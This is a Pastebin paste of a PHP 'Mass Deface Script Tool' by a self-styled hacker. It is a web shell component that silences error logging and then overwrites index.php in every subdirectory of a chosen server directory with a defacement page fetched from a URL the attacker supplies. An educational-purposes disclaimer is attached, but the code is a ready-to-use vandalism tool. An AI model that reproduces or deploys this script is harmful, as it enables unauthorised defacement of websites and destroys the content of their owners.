Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <title>Mass Deface Script</title>
- <center><font color="white" face="Orbitron"><b>Mass Defacement</td></b></center>
- <?php
- /*
- Script: Mass Deface Script Tool
- Disclaimer:
- This script is for Research/Educational/Academic purposes only,
- The Author of this script takes no responsibility for the way
- you use this script, you are responsible for your own actions.
- */
- @session_start();
- @error_reporting(0);
- @ini_set('error_log',NULL);
- @ini_set('display_errors',0);
- @ini_set('log_errors',0);
- @ini_set('max_execution_time',0);
- @set_time_limit(0);
- echo "<center><textarea rows='10' cols='100'>";
- $defaceurl = $_POST['massdefaceurl'];
- $dir = $_POST['massdefacedir'];
- echo $dir."\n";
- if (is_dir($dir)) {
- if ($dh = opendir($dir)) {
- while (($file = readdir($dh)) !== false) {
- if(filetype($dir.$file)=="dir"){
- $newfile=$dir.$file."/index.php";
- echo $newfile."\n";
- if (!copy($defaceurl, $newfile)) {
- echo "failed to copy $file...\n";
- }
- }
- }
- closedir($dh);
- }
- }
- echo "</textarea></center>";
- ?>
- <center>
- <font color="white">
- <body bgcolor="#000000">
- <font face="Iceland">
- <br>
- <form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
- [+] Main Directory: <input type='text' style='width: 250px' value='<?php echo getcwd() . "/"; ?>' name='massdefacedir'>
- <br><br>
- [+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'>
- <br>
- <br>
- <input type='submit' name='execmassdeface' value='Execute'></form></td>
- </center>
- <br><br><br>
- <font size="5"><center>
- This script is for Research/Educational/Academic purposes only, <br>
- Defacement Url = URL of your deface page (e.g: http://yoursite.com/hacked.html )<br><br>
- </body></html>
- <center><font face="Iceland"><b>Rec0ded by .::U7TiM4T3_H4x0R::.</b></center>
- <center>
- <?php
- $ip = $_SERVER['REMOTE_ADDR'];
- echo "Your IP : " . $ip;
- ?>
- <font> | </font>
- <?php
- $server = $_SERVER['SERVER_ADDR'];
- echo "Server IP : " . $server;
- ?>
- </center>
Add Comment
Please, Sign In to add comment